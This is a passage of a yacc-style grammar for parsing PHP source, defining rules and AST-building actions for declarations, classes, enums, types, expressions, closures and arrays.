inner_statement_list '}' { $$ = Stmt\Finally_[$3]; } ; variables_list: non_empty_variables_list optional_comma { $$ = $1; } ; non_empty_variables_list: variable { init($1); } | non_empty_variables_list ',' variable { push($1, $3); } ; optional_ref: /* empty */ { $$ = false; } | ampersand { $$ = true; } ; optional_arg_ref: /* empty */ { $$ = false; } | T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG { $$ = true; } ; optional_ellipsis: /* empty */ { $$ = false; } | T_ELLIPSIS { $$ = true; } ; block_or_error: '{' inner_statement_list '}' { $$ = $2; } | error { $$ = []; } ; function_declaration_statement: T_FUNCTION optional_ref identifier_not_reserved '(' parameter_list ')' optional_return_type block_or_error { $$ = Stmt\Function_[$3, ['byRef' => $2, 'params' => $5, 'returnType' => $7, 'stmts' => $8, 'attrGroups' => []]]; } | attributes T_FUNCTION optional_ref identifier_not_reserved '(' parameter_list ')' optional_return_type block_or_error { $$ = Stmt\Function_[$4, ['byRef' => $3, 'params' => $6, 'returnType' => $8, 'stmts' => $9, 'attrGroups' => $1]]; } ; class_declaration_statement: optional_attributes class_entry_type identifier_not_reserved extends_from implements_list '{' class_statement_list '}' { $$ = Stmt\Class_[$3, ['type' => $2, 'extends' => $4, 'implements' => $5, 'stmts' => $7, 'attrGroups' => $1]]; $this->checkClass($$, #3); } | optional_attributes T_INTERFACE identifier_not_reserved interface_extends_list '{' class_statement_list '}' { $$ = Stmt\Interface_[$3, ['extends' => $4, 'stmts' => $6, 'attrGroups' => $1]]; $this->checkInterface($$, #3); } | optional_attributes T_TRAIT identifier_not_reserved '{' class_statement_list '}' { $$ = Stmt\Trait_[$3, ['stmts' => $5, 'attrGroups' => $1]]; } | optional_attributes T_ENUM identifier_not_reserved enum_scalar_type implements_list '{' class_statement_list '}' { $$ = Stmt\Enum_[$3, ['scalarType' => $4, 'implements' => $5, 'stmts' => $7, 'attrGroups' => $1]]; $this->checkEnum($$, #3); } ; enum_scalar_type: /* empty */ { $$ = null; } | ':' type { $$ = $2; } enum_case_expr: /* empty */ { $$ = null; } | '=' expr { $$ = $2; } ; class_entry_type: T_CLASS { $$ = 0; } | T_ABSTRACT T_CLASS { $$ = Stmt\Class_::MODIFIER_ABSTRACT; } | T_FINAL T_CLASS { $$ = Stmt\Class_::MODIFIER_FINAL; } ; extends_from: /* empty */ { $$ = null; } | T_EXTENDS class_name { $$ = $2; } ; interface_extends_list: /* empty */ { $$ = array(); } | T_EXTENDS class_name_list { $$ = $2; } ; implements_list: /* empty */ { $$ = array(); } | T_IMPLEMENTS class_name_list { $$ = $2; } ; class_name_list: non_empty_class_name_list no_comma { $$ = $1; } ; non_empty_class_name_list: class_name { init($1); } | non_empty_class_name_list ',' class_name { push($1, $3); } ; for_statement: statement { $$ = toArray($1); } | ':' inner_statement_list T_ENDFOR ';' { $$ = $2; } ; foreach_statement: statement { $$ = toArray($1); } | ':' inner_statement_list T_ENDFOREACH ';' { $$ = $2; } ; declare_statement: non_empty_statement { $$ = toArray($1); } | ';' { $$ = null; } | ':' inner_statement_list T_ENDDECLARE ';' { $$ = $2; } ; declare_list: non_empty_declare_list no_comma { $$ = $1; } ; non_empty_declare_list: declare_list_element { init($1); } | non_empty_declare_list ',' declare_list_element { push($1, $3); } ; declare_list_element: identifier_not_reserved '=' expr { $$ = Stmt\DeclareDeclare[$1, $3]; } ; switch_case_list: '{' case_list '}' { $$ = $2; } | '{' ';' case_list '}' { $$ = $3; } | ':' case_list T_ENDSWITCH ';' { $$ = $2; } | ':' ';' case_list T_ENDSWITCH ';' { $$ = $3; } ; case_list: /* empty */ { init(); } | case_list case { push($1, $2); } ; case: T_CASE expr case_separator inner_statement_list_ex { $$ = Stmt\Case_[$2, $4]; } | T_DEFAULT case_separator inner_statement_list_ex { $$ = Stmt\Case_[null, $3]; } ; case_separator: ':' | ';' ; match: T_MATCH '(' expr ')' '{' match_arm_list '}' { $$ = Expr\Match_[$3, $6]; } ; match_arm_list: /* empty */ { $$ = []; } | non_empty_match_arm_list optional_comma { $$ = $1; } ; non_empty_match_arm_list: match_arm { init($1); } | non_empty_match_arm_list ',' match_arm { push($1, $3); } ; match_arm: expr_list_allow_comma T_DOUBLE_ARROW expr { $$ = Node\MatchArm[$1, $3]; } | T_DEFAULT optional_comma T_DOUBLE_ARROW expr { $$ = Node\MatchArm[null, $4]; } ; while_statement: statement { $$ = toArray($1); } | ':' inner_statement_list T_ENDWHILE ';' { $$ = $2; } ; elseif_list: /* empty */ { init(); } | elseif_list elseif { push($1, $2); } ; elseif: T_ELSEIF '(' expr ')' statement { $$ = Stmt\ElseIf_[$3, toArray($5)]; } ; new_elseif_list: /* empty */ { init(); } | new_elseif_list new_elseif { push($1, $2); } ; new_elseif: T_ELSEIF '(' expr ')' ':' inner_statement_list { $$ = Stmt\ElseIf_[$3, $6]; } ; else_single: /* empty */ { $$ = null; } | T_ELSE statement { $$ = Stmt\Else_[toArray($2)]; } ; new_else_single: /* empty */ { $$ = null; } | T_ELSE ':' inner_statement_list { $$ = Stmt\Else_[$3]; } ; foreach_variable: variable { $$ = array($1, false); } | ampersand variable { $$ = array($2, true); } | list_expr { $$ = array($1, false); } | array_short_syntax { $$ = array($1, false); } ; parameter_list: non_empty_parameter_list optional_comma { $$ = $1; } | /* empty */ { $$ = array(); } ; non_empty_parameter_list: parameter { init($1); } | non_empty_parameter_list ',' parameter { push($1, $3); } ; optional_property_modifiers: /* empty */ { $$ = 0; } | optional_property_modifiers property_modifier { $this->checkModifier($1, $2, #2); $$ = $1 | $2; } ; property_modifier: T_PUBLIC { $$ = Stmt\Class_::MODIFIER_PUBLIC; } | T_PROTECTED { $$ = Stmt\Class_::MODIFIER_PROTECTED; } | T_PRIVATE { $$ = Stmt\Class_::MODIFIER_PRIVATE; } | T_READONLY { $$ = Stmt\Class_::MODIFIER_READONLY; } ; parameter: optional_attributes optional_property_modifiers optional_type_without_static optional_arg_ref optional_ellipsis plain_variable { $$ = new Node\Param($6, null, $3, $4, $5, attributes(), $2, $1); $this->checkParam($$); } | optional_attributes optional_property_modifiers optional_type_without_static optional_arg_ref optional_ellipsis plain_variable '=' expr { $$ = new Node\Param($6, $8, $3, $4, $5, attributes(), $2, $1); $this->checkParam($$); } | optional_attributes optional_property_modifiers optional_type_without_static optional_arg_ref optional_ellipsis error { $$ = new Node\Param(Expr\Error[], null, $3, $4, $5, attributes(), $2, $1); } ; type_expr: type { $$ = $1; } | '?' type { $$ = Node\NullableType[$2]; } | union_type { $$ = Node\UnionType[$1]; } | intersection_type { $$ = Node\IntersectionType[$1]; } ; type: type_without_static { $$ = $1; } | T_STATIC { $$ = Node\Name['static']; } ; type_without_static: name { $$ = $this->handleBuiltinTypes($1); } | T_ARRAY { $$ = Node\Identifier['array']; } | T_CALLABLE { $$ = Node\Identifier['callable']; } ; union_type: type '|' type { init($1, $3); } | union_type '|' type { push($1, $3); } ; union_type_without_static: type_without_static '|' type_without_static { init($1, $3); } | union_type_without_static '|' type_without_static { push($1, $3); } ; intersection_type: type T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG type { init($1, $3); } | intersection_type T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG type { push($1, $3); } ; intersection_type_without_static: type_without_static T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG type_without_static { init($1, $3); } | intersection_type_without_static T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG type_without_static { push($1, $3); } ; type_expr_without_static: type_without_static { $$ = $1; } | '?' type_without_static { $$ = Node\NullableType[$2]; } | union_type_without_static { $$ = Node\UnionType[$1]; } | intersection_type_without_static { $$ = Node\IntersectionType[$1]; } ; optional_type_without_static: /* empty */ { $$ = null; } | type_expr_without_static { $$ = $1; } ; optional_return_type: /* empty */ { $$ = null; } | ':' type_expr { $$ = $2; } | ':' error { $$ = null; } ; argument_list: '(' ')' { $$ = array(); } | '(' non_empty_argument_list optional_comma ')' { $$ = $2; } | '(' variadic_placeholder ')' { init($2); } ; variadic_placeholder: T_ELLIPSIS { $$ = Node\VariadicPlaceholder[]; } ; non_empty_argument_list: argument { init($1); } | non_empty_argument_list ',' argument { push($1, $3); } ; argument: expr { $$ = Node\Arg[$1, false, false]; } | ampersand variable { $$ = Node\Arg[$2, true, false]; } | T_ELLIPSIS expr { $$ = Node\Arg[$2, false, true]; } | identifier_maybe_reserved ':' expr { $$ = new Node\Arg($3, false, false, attributes(), $1); } ; global_var_list: non_empty_global_var_list no_comma { $$ = $1; } ; non_empty_global_var_list: non_empty_global_var_list ',' global_var { push($1, $3); } | global_var { init($1); } ; global_var: simple_variable { $$ = $1; } ; static_var_list: non_empty_static_var_list no_comma { $$ = $1; } ; non_empty_static_var_list: non_empty_static_var_list ',' static_var { push($1, $3); } | static_var { init($1); } ; static_var: plain_variable { $$ = Stmt\StaticVar[$1, null]; } | plain_variable '=' expr { $$ = Stmt\StaticVar[$1, $3]; } ; class_statement_list_ex: class_statement_list_ex class_statement { if ($2 !== null) { push($1, $2); } } | /* empty */ { init(); } ; class_statement_list: class_statement_list_ex { makeZeroLengthNop($nop, $this->lookaheadStartAttributes); if ($nop !== null) { $1[] = $nop; } $$ = $1; } ; class_statement: optional_attributes variable_modifiers optional_type_without_static property_declaration_list semi { $$ = new Stmt\Property($2, $4, attributes(), $3, $1); $this->checkProperty($$, #2); } | optional_attributes method_modifiers T_CONST class_const_list semi { $$ = new Stmt\ClassConst($4, $2, attributes(), $1); $this->checkClassConst($$, #2); } | optional_attributes method_modifiers T_FUNCTION optional_ref identifier_maybe_reserved '(' parameter_list ')' optional_return_type method_body { $$ = Stmt\ClassMethod[$5, ['type' => $2, 'byRef' => $4, 'params' => $7, 'returnType' => $9, 'stmts' => $10, 'attrGroups' => $1]]; $this->checkClassMethod($$, #2); } | T_USE class_name_list trait_adaptations { $$ = Stmt\TraitUse[$2, $3]; } | optional_attributes T_CASE identifier_maybe_reserved enum_case_expr semi { $$ = Stmt\EnumCase[$3, $4, $1]; } | error { $$ = null; /* will be skipped */ } ; trait_adaptations: ';' { $$ = array(); } | '{' trait_adaptation_list '}' { $$ = $2; } ; trait_adaptation_list: /* empty */ { init(); } | trait_adaptation_list trait_adaptation { push($1, $2); } ; trait_adaptation: trait_method_reference_fully_qualified T_INSTEADOF class_name_list ';' { $$ = Stmt\TraitUseAdaptation\Precedence[$1[0], $1[1], $3]; } | trait_method_reference T_AS member_modifier identifier_maybe_reserved ';' { $$ = Stmt\TraitUseAdaptation\Alias[$1[0], $1[1], $3, $4]; } | trait_method_reference T_AS member_modifier ';' { $$ = Stmt\TraitUseAdaptation\Alias[$1[0], $1[1], $3, null]; } | trait_method_reference T_AS identifier_not_reserved ';' { $$ = Stmt\TraitUseAdaptation\Alias[$1[0], $1[1], null, $3]; } | trait_method_reference T_AS reserved_non_modifiers_identifier ';' { $$ = Stmt\TraitUseAdaptation\Alias[$1[0], $1[1], null, $3]; } ; trait_method_reference_fully_qualified: name T_PAAMAYIM_NEKUDOTAYIM identifier_maybe_reserved { $$ = array($1, $3); } ; trait_method_reference: trait_method_reference_fully_qualified { $$ = $1; } | identifier_maybe_reserved { $$ = array(null, $1); } ; method_body: ';' /* abstract method */ { $$ = null; } | block_or_error { $$ = $1; } ; variable_modifiers: non_empty_member_modifiers { $$ = $1; } | T_VAR { $$ = 0; } ; method_modifiers: /* empty */ { $$ = 0; } | non_empty_member_modifiers { $$ = $1; } ; non_empty_member_modifiers: member_modifier { $$ = $1; } | non_empty_member_modifiers member_modifier { $this->checkModifier($1, $2, #2); $$ = $1 | $2; } ; member_modifier: T_PUBLIC { $$ = Stmt\Class_::MODIFIER_PUBLIC; } | T_PROTECTED { $$ = Stmt\Class_::MODIFIER_PROTECTED; } | T_PRIVATE { $$ = Stmt\Class_::MODIFIER_PRIVATE; } | T_STATIC { $$ = Stmt\Class_::MODIFIER_STATIC; } | T_ABSTRACT { $$ = Stmt\Class_::MODIFIER_ABSTRACT; } | T_FINAL { $$ = Stmt\Class_::MODIFIER_FINAL; } | T_READONLY { $$ = Stmt\Class_::MODIFIER_READONLY; } ; property_declaration_list: non_empty_property_declaration_list no_comma { $$ = $1; } ; non_empty_property_declaration_list: property_declaration { init($1); } | non_empty_property_declaration_list ',' property_declaration { push($1, $3); } ; property_decl_name: T_VARIABLE { $$ = Node\VarLikeIdentifier[parseVar($1)]; } ; property_declaration: property_decl_name { $$ = Stmt\PropertyProperty[$1, null]; } | property_decl_name '=' expr { $$ = Stmt\PropertyProperty[$1, $3]; } ; expr_list_forbid_comma: non_empty_expr_list no_comma { $$ = $1; } ; expr_list_allow_comma: non_empty_expr_list optional_comma { $$ = $1; } ; non_empty_expr_list: non_empty_expr_list ',' expr { push($1, $3); } | expr { init($1); } ; for_expr: /* empty */ { $$ = array(); } | expr_list_forbid_comma { $$ = $1; } ; expr: variable { $$ = $1; } | list_expr '=' expr { $$ = Expr\Assign[$1, $3]; } | array_short_syntax '=' expr { $$ = Expr\Assign[$1, $3]; } | variable '=' expr { $$ = Expr\Assign[$1, $3]; } | variable '=' ampersand variable { $$ = Expr\AssignRef[$1, $4]; } | new_expr { $$ = $1; } | match { $$ = $1; } | T_CLONE expr { $$ = Expr\Clone_[$2]; } | variable T_PLUS_EQUAL expr { $$ = Expr\AssignOp\Plus [$1, $3]; } | variable T_MINUS_EQUAL expr { $$ = Expr\AssignOp\Minus [$1, $3]; } | variable T_MUL_EQUAL expr { $$ = Expr\AssignOp\Mul [$1, $3]; } | variable T_DIV_EQUAL expr { $$ = Expr\AssignOp\Div [$1, $3]; } | variable T_CONCAT_EQUAL expr { $$ = Expr\AssignOp\Concat [$1, $3]; } | variable T_MOD_EQUAL expr { $$ = Expr\AssignOp\Mod [$1, $3]; } | variable T_AND_EQUAL expr { $$ = Expr\AssignOp\BitwiseAnd[$1, $3]; } | variable T_OR_EQUAL expr { $$ = Expr\AssignOp\BitwiseOr [$1, $3]; } | variable T_XOR_EQUAL expr { $$ = Expr\AssignOp\BitwiseXor[$1, $3]; } | variable T_SL_EQUAL expr { $$ = Expr\AssignOp\ShiftLeft [$1, $3]; } | variable T_SR_EQUAL expr { $$ = Expr\AssignOp\ShiftRight[$1, $3]; } | variable T_POW_EQUAL expr { $$ = Expr\AssignOp\Pow [$1, $3]; } | variable T_COALESCE_EQUAL expr { $$ = Expr\AssignOp\Coalesce [$1, $3]; } | variable T_INC { $$ = Expr\PostInc[$1]; } | T_INC variable { $$ = Expr\PreInc [$2]; } | variable T_DEC { $$ = Expr\PostDec[$1]; } | T_DEC variable { $$ = Expr\PreDec [$2]; } | expr T_BOOLEAN_OR expr { $$ = Expr\BinaryOp\BooleanOr [$1, $3]; } | expr T_BOOLEAN_AND expr { $$ = Expr\BinaryOp\BooleanAnd[$1, $3]; } | expr T_LOGICAL_OR expr { $$ = Expr\BinaryOp\LogicalOr [$1, $3]; } | expr T_LOGICAL_AND expr { $$ = Expr\BinaryOp\LogicalAnd[$1, $3]; } | expr T_LOGICAL_XOR expr { $$ = Expr\BinaryOp\LogicalXor[$1, $3]; } | expr '|' expr { $$ = Expr\BinaryOp\BitwiseOr [$1, $3]; } | expr T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG expr { $$ = Expr\BinaryOp\BitwiseAnd[$1, $3]; } | expr T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG expr { $$ = Expr\BinaryOp\BitwiseAnd[$1, $3]; } | expr '^' expr { $$ = Expr\BinaryOp\BitwiseXor[$1, $3]; } | expr '.' expr { $$ = Expr\BinaryOp\Concat [$1, $3]; } | expr '+' expr { $$ = Expr\BinaryOp\Plus [$1, $3]; } | expr '-' expr { $$ = Expr\BinaryOp\Minus [$1, $3]; } | expr '*' expr { $$ = Expr\BinaryOp\Mul [$1, $3]; } | expr '/' expr { $$ = Expr\BinaryOp\Div [$1, $3]; } | expr '%' expr { $$ = Expr\BinaryOp\Mod [$1, $3]; } | expr T_SL expr { $$ = Expr\BinaryOp\ShiftLeft [$1, $3]; } | expr T_SR expr { $$ = Expr\BinaryOp\ShiftRight[$1, $3]; } | expr T_POW expr { $$ = Expr\BinaryOp\Pow [$1, $3]; } | '+' expr %prec T_INC { $$ = Expr\UnaryPlus [$2]; } | '-' expr %prec T_INC { $$ = Expr\UnaryMinus[$2]; } | '!' expr { $$ = Expr\BooleanNot[$2]; } | '~' expr { $$ = Expr\BitwiseNot[$2]; } | expr T_IS_IDENTICAL expr { $$ = Expr\BinaryOp\Identical [$1, $3]; } | expr T_IS_NOT_IDENTICAL expr { $$ = Expr\BinaryOp\NotIdentical [$1, $3]; } | expr T_IS_EQUAL expr { $$ = Expr\BinaryOp\Equal [$1, $3]; } | expr T_IS_NOT_EQUAL expr { $$ = Expr\BinaryOp\NotEqual [$1, $3]; } | expr T_SPACESHIP expr { $$ = Expr\BinaryOp\Spaceship [$1, $3]; } | expr '<' expr { $$ = Expr\BinaryOp\Smaller [$1, $3]; } | expr T_IS_SMALLER_OR_EQUAL expr { $$ = Expr\BinaryOp\SmallerOrEqual[$1, $3]; } | expr '>' expr { $$ = Expr\BinaryOp\Greater [$1, $3]; } | expr T_IS_GREATER_OR_EQUAL expr { $$ = Expr\BinaryOp\GreaterOrEqual[$1, $3]; } | expr T_INSTANCEOF class_name_reference { $$ = Expr\Instanceof_[$1, $3]; } | '(' expr ')' { $$ = $2; } | expr '?' expr ':' expr { $$ = Expr\Ternary[$1, $3, $5]; } | expr '?' ':' expr { $$ = Expr\Ternary[$1, null, $4]; } | expr T_COALESCE expr { $$ = Expr\BinaryOp\Coalesce[$1, $3]; } | T_ISSET '(' expr_list_allow_comma ')' { $$ = Expr\Isset_[$3]; } | T_EMPTY '(' expr ')' { $$ = Expr\Empty_[$3]; } | T_INCLUDE expr { $$ = Expr\Include_[$2, Expr\Include_::TYPE_INCLUDE]; } | T_INCLUDE_ONCE expr { $$ = Expr\Include_[$2, Expr\Include_::TYPE_INCLUDE_ONCE]; } | T_EVAL '(' expr ')' { $$ = Expr\Eval_[$3]; } | T_REQUIRE expr { $$ = Expr\Include_[$2, Expr\Include_::TYPE_REQUIRE]; } | T_REQUIRE_ONCE expr { $$ = Expr\Include_[$2, Expr\Include_::TYPE_REQUIRE_ONCE]; } | T_INT_CAST expr { $$ = Expr\Cast\Int_ [$2]; } | T_DOUBLE_CAST expr { $attrs = attributes(); $attrs['kind'] = $this->getFloatCastKind($1); $$ = new Expr\Cast\Double($2, $attrs); } | T_STRING_CAST expr { $$ = Expr\Cast\String_ [$2]; } | T_ARRAY_CAST expr { $$ = Expr\Cast\Array_ [$2]; } | T_OBJECT_CAST expr { $$ = Expr\Cast\Object_ [$2]; } | T_BOOL_CAST expr { $$ = Expr\Cast\Bool_ [$2]; } | T_UNSET_CAST expr { $$ = Expr\Cast\Unset_ [$2]; } | T_EXIT exit_expr { $attrs = attributes(); $attrs['kind'] = strtolower($1) === 'exit' ? Expr\Exit_::KIND_EXIT : Expr\Exit_::KIND_DIE; $$ = new Expr\Exit_($2, $attrs); } | '@' expr { $$ = Expr\ErrorSuppress[$2]; } | scalar { $$ = $1; } | '`' backticks_expr '`' { $$ = Expr\ShellExec[$2]; } | T_PRINT expr { $$ = Expr\Print_[$2]; } | T_YIELD { $$ = Expr\Yield_[null, null]; } | T_YIELD expr { $$ = Expr\Yield_[$2, null]; } | T_YIELD expr T_DOUBLE_ARROW expr { $$ = Expr\Yield_[$4, $2]; } | T_YIELD_FROM expr { $$ = Expr\YieldFrom[$2]; } | T_THROW expr { $$ = Expr\Throw_[$2]; } | T_FN optional_ref '(' parameter_list ')' optional_return_type T_DOUBLE_ARROW expr %prec T_THROW { $$ = Expr\ArrowFunction[['static' => false, 'byRef' => $2, 'params' => $4, 'returnType' => $6, 'expr' => $8, 'attrGroups' => []]]; } | T_STATIC T_FN optional_ref '(' parameter_list ')' optional_return_type T_DOUBLE_ARROW expr %prec T_THROW { $$ = Expr\ArrowFunction[['static' => true, 'byRef' => $3, 'params' => $5, 'returnType' => $7, 'expr' => $9, 'attrGroups' => []]]; } | T_FUNCTION optional_ref '(' parameter_list ')' lexical_vars optional_return_type block_or_error { $$ = Expr\Closure[['static' => false, 'byRef' => $2, 'params' => $4, 'uses' => $6, 'returnType' => $7, 'stmts' => $8, 'attrGroups' => []]]; } | T_STATIC T_FUNCTION optional_ref '(' parameter_list ')' lexical_vars optional_return_type block_or_error { $$ = Expr\Closure[['static' => true, 'byRef' => $3, 'params' => $5, 'uses' => $7, 'returnType' => $8, 'stmts' => $9, 'attrGroups' => []]]; } | attributes T_FN optional_ref '(' parameter_list ')' optional_return_type T_DOUBLE_ARROW expr %prec T_THROW { $$ = Expr\ArrowFunction[['static' => false, 'byRef' => $3, 'params' => $5, 'returnType' => $7, 'expr' => $9, 'attrGroups' => $1]]; } | attributes T_STATIC T_FN optional_ref '(' parameter_list ')' optional_return_type T_DOUBLE_ARROW expr %prec T_THROW { $$ = Expr\ArrowFunction[['static' => true, 'byRef' => $4, 'params' => $6, 'returnType' => $8, 'expr' => $10, 'attrGroups' => $1]]; } | attributes T_FUNCTION optional_ref '(' parameter_list ')' lexical_vars optional_return_type block_or_error { $$ = Expr\Closure[['static' => false, 'byRef' => $3, 'params' => $5, 'uses' => $7, 'returnType' => $8, 'stmts' => $9, 'attrGroups' => $1]]; } | attributes T_STATIC T_FUNCTION optional_ref '(' parameter_list ')' lexical_vars optional_return_type block_or_error { $$ = Expr\Closure[['static' => true, 'byRef' => $4, 'params' => $6, 'uses' => $8, 'returnType' => $9, 'stmts' => $10, 'attrGroups' => $1]]; } ; anonymous_class: optional_attributes T_CLASS ctor_arguments extends_from implements_list '{' class_statement_list '}' { $$ = array(Stmt\Class_[null, ['type' => 0, 'extends' => $4, 'implements' => $5, 'stmts' => $7, 'attrGroups' => $1]], $3); $this->checkClass($$[0], -1); } ; new_expr: T_NEW class_name_reference ctor_arguments { $$ = Expr\New_[$2, $3]; } | T_NEW anonymous_class { list($class, $ctorArgs) = $2; $$ = Expr\New_[$class, $ctorArgs]; } ; lexical_vars: /* empty */ { $$ = array(); } | T_USE '(' lexical_var_list ')' { $$ = $3; } ; lexical_var_list: non_empty_lexical_var_list optional_comma { $$ = $1; } ; non_empty_lexical_var_list: lexical_var { init($1); } | non_empty_lexical_var_list ',' lexical_var { push($1, $3); } ; lexical_var: optional_ref plain_variable { $$ = Expr\ClosureUse[$2, $1]; } ; function_call: name argument_list { $$ = Expr\FuncCall[$1, $2]; } | callable_expr argument_list { $$ = Expr\FuncCall[$1, $2]; } | class_name_or_var T_PAAMAYIM_NEKUDOTAYIM member_name argument_list { $$ = Expr\StaticCall[$1, $3, $4]; } ; class_name: T_STATIC { $$ = Name[$1]; } | name { $$ = $1; } ; name: T_STRING { $$ = Name[$1]; } | T_NAME_QUALIFIED { $$ = Name[$1]; } | T_NAME_FULLY_QUALIFIED { $$ = Name\FullyQualified[substr($1, 1)]; } | T_NAME_RELATIVE { $$ = Name\Relative[substr($1, 10)]; } ; class_name_reference: class_name { $$ = $1; } | new_variable { $$ = $1; } | '(' expr ')' { $$ = $2; } | error { $$ = Expr\Error[]; $this->errorState = 2; } ; class_name_or_var: class_name { $$ = $1; } | fully_dereferencable { $$ = $1; } ; exit_expr: /* empty */ { $$ = null; } | '(' optional_expr ')' { $$ = $2; } ; backticks_expr: /* empty */ { $$ = array(); } | T_ENCAPSED_AND_WHITESPACE { $$ = array(Scalar\EncapsedStringPart[Scalar\String_::parseEscapeSequences($1, '`')]); } | encaps_list { parseEncapsed($1, '`', true); $$ = $1; } ; ctor_arguments: /* empty */ { $$ = array(); } | argument_list { $$ = $1; } ; constant: name { $$ = Expr\ConstFetch[$1]; } | T_LINE { $$ = Scalar\MagicConst\Line[]; } | T_FILE { $$ = Scalar\MagicConst\File[]; } | T_DIR { $$ = Scalar\MagicConst\Dir[]; } | T_CLASS_C { $$ = Scalar\MagicConst\Class_[]; } | T_TRAIT_C { $$ = Scalar\MagicConst\Trait_[]; } | T_METHOD_C { $$ = Scalar\MagicConst\Method[]; } | T_FUNC_C { $$ = Scalar\MagicConst\Function_[]; } | T_NS_C { $$ = Scalar\MagicConst\Namespace_[]; } ; class_constant: class_name_or_var T_PAAMAYIM_NEKUDOTAYIM identifier_maybe_reserved { $$ = Expr\ClassConstFetch[$1, $3]; } /* We interpret an isolated FOO:: as an unfinished class constant fetch. It could also be an unfinished static property fetch or unfinished scoped call. */ | class_name_or_var T_PAAMAYIM_NEKUDOTAYIM error { $$ = Expr\ClassConstFetch[$1, new Expr\Error(stackAttributes(#3))]; $this->errorState = 2; } ; array_short_syntax: '[' array_pair_list ']' { $attrs = attributes(); $attrs['kind'] = Expr\Array_::KIND_SHORT; $$ = new Expr\Array_($2, $attrs); } ; dereferencable_scalar: T_ARRAY '(' array_pair_list ')' { $attrs = attributes(); $attrs['kind'] = Expr\Array_::KIND_LONG; $$ = new Expr\Array_($3, $attrs); } | array_short_syntax { $$ = $1; } | T_CONSTANT_ENCAPSED_STRING { $attrs = attributes(); $attrs['kind'] = strKind($1); $$ = new Scalar\String_(Scalar\String_::parse($1), $attrs); } | '"' encaps_list '"' { $attrs = attributes(); $attrs['kind'] = Scalar\String_::KIND_DOUBLE_QUOTED; parseEncapsed($2, '"', true); $$ = new Scalar\Encapsed($2, $attrs); } ; scalar: T_LNUMBER { $$ = $this->parseLNumber($1, attributes()); } | T_DNUMBER { $$ = Scalar\DNumber[Scalar\DNumber::parse($1)]; } | dereferencable_scalar { $$ = $1; } | constant { $$ = $1; } | class_constant { $$ = $1; } | T_START_HEREDOC T_ENCAPSED_AND_WHITESPACE T_END_HEREDOC { $$ = $this->parseDocString($1, $2, $3, attributes(), stackAttributes(#3), true); } | T_START_HEREDOC T_END_HEREDOC { $$ = $this->parseDocString($1, '', $2, attributes(), stackAttributes(#2), true); } | T_START_HEREDOC encaps_list T_END_HEREDOC { $$ = $this->parseDocString($1, $2, $3, attributes(), stackAttributes(#3), true); } ; optional_expr: /* empty */ { $$ = null; } | expr { $$ = $1; } ; fully_dereferencable: variable { $$ = $1; } | '(' expr ')' { $$ = $2; } | dereferencable_scalar { $$ = $1; } | class_constant { $$ = $1; } ; array_object_dereferencable: fully_dereferencable { $$ = $1; } | constant { $$ = $1; } ; callable_expr: callable_variable { $$ = $1; } | '(' expr ')' { $$ = $2; } | dereferencable_scalar { $$ = $1; } ; callable_variable: simple_variable { $$ = $1; } | array_object_dereferencable '[' optional_expr ']' { $$ = Expr\ArrayDimFetch[$1, $3]; } | array_object_dereferencable '{' expr '}' { $$ = Expr\ArrayDimFetch[$1, $3]; } | function_call { $$ = $1; } | array_object_dereferencable T_OBJECT_OPERATOR property_name argument_list { $$ = Expr\MethodCall[$1, $3, $4]; } | array_object_dereferencable T_NULLSAFE_OBJECT_OPERATOR property_name argument_list { $$ = Expr\NullsafeMethodCall[$1, $3, $4]; } ; optional_plain_variable: /* empty */ { $$ = null; } | plain_variable { $$ = $1; } ; variable: callable_variable { $$ = $1; } | static_member { $$ = $1; } | array_object_dereferencable T_OBJECT_OPERATOR property_name { $$ = Expr\PropertyFetch[$1, $3]; } | array_object_dereferencable T_NULLSAFE_OBJECT_OPERATOR property_name { $$ = Expr\NullsafePropertyFetch[$1, $3]; } ; simple_variable: plain_variable { $$ = $1; } | '$' '{' expr '}' { $$ = Expr\Variable[$3]; } | '$' simple_variable { $$ = Expr\Variable[$2]; } | '$' error { $$ = Expr\Variable[Expr\Error[]]; $this->errorState = 2; } ; static_member_prop_name: simple_variable { $var = $1->name; $$ = \is_string($var) ? Node\VarLikeIdentifier[$var] : $var; } ; static_member: class_name_or_var T_PAAMAYIM_NEKUDOTAYIM static_member_prop_name { $$ = Expr\StaticPropertyFetch[$1, $3]; } ; new_variable: simple_variable { $$ = $1; } | new_variable '[' optional_expr ']' { $$ = Expr\ArrayDimFetch[$1, $3]; } | new_variable '{' expr '}' { $$ = Expr\ArrayDimFetch[$1, $3]; } | new_variable T_OBJECT_OPERATOR property_name { $$ = Expr\PropertyFetch[$1, $3]; } | new_variable T_NULLSAFE_OBJECT_OPERATOR property_name { $$ = Expr\NullsafePropertyFetch[$1, $3]; } | class_name T_PAAMAYIM_NEKUDOTAYIM static_member_prop_name { $$ = Expr\StaticPropertyFetch[$1, $3]; } | new_variable T_PAAMAYIM_NEKUDOTAYIM static_member_prop_name { $$ = Expr\StaticPropertyFetch[$1, $3]; } ; member_name: identifier_maybe_reserved { $$ = $1; } | '{' expr '}' { $$ = $2; } | simple_variable { $$ = $1; } ; property_name: identifier_not_reserved { $$ = $1; } | '{' expr '}' { $$ = $2; } | simple_variable { $$ = $1; } | error { $$ = Expr\Error[]; $this->errorState = 2; } ; list_expr: T_LIST '(' inner_array_pair_list ')' { $$ = Expr\List_[$3]; } ; array_pair_list: inner_array_pair_list { $$ = $1; $end = count($$)-1; if ($$[$end] === null) array_pop($$); } ; comma_or_error: ',' | error { /* do nothing -- prevent default action of $$=$1. See #551. */ } ; inner_array_pair_list: inner_array_pair_list comma_or_error array_pair { push($1, $3); } | array_pair { init($1); } ; array_pair: expr { $$ = Expr\ArrayItem[$1, null, false]; } | ampersand variable { $$ = Expr\ArrayItem[$2, null, true]; } | list_expr { $$ = Expr\ArrayItem[$1, null, false]; } | expr T_DOUBLE_ARROW expr { $$ = Expr\ArrayItem[$3, $1, false]; } | expr T_DOUBLE_ARROW ampersand variable { $$ = Expr\ArrayItem[$4, $1, true]; } | expr T_DOUBLE_ARROW list_expr { $$ = Expr\ArrayItem[$3, $1, false]; } | T_ELLIPSIS expr { $$ = Expr\ArrayItem[$2, null, false, attributes(), true]; } | /* empty */ { $$ = null; } ; encaps_list: encaps_list encaps_var { 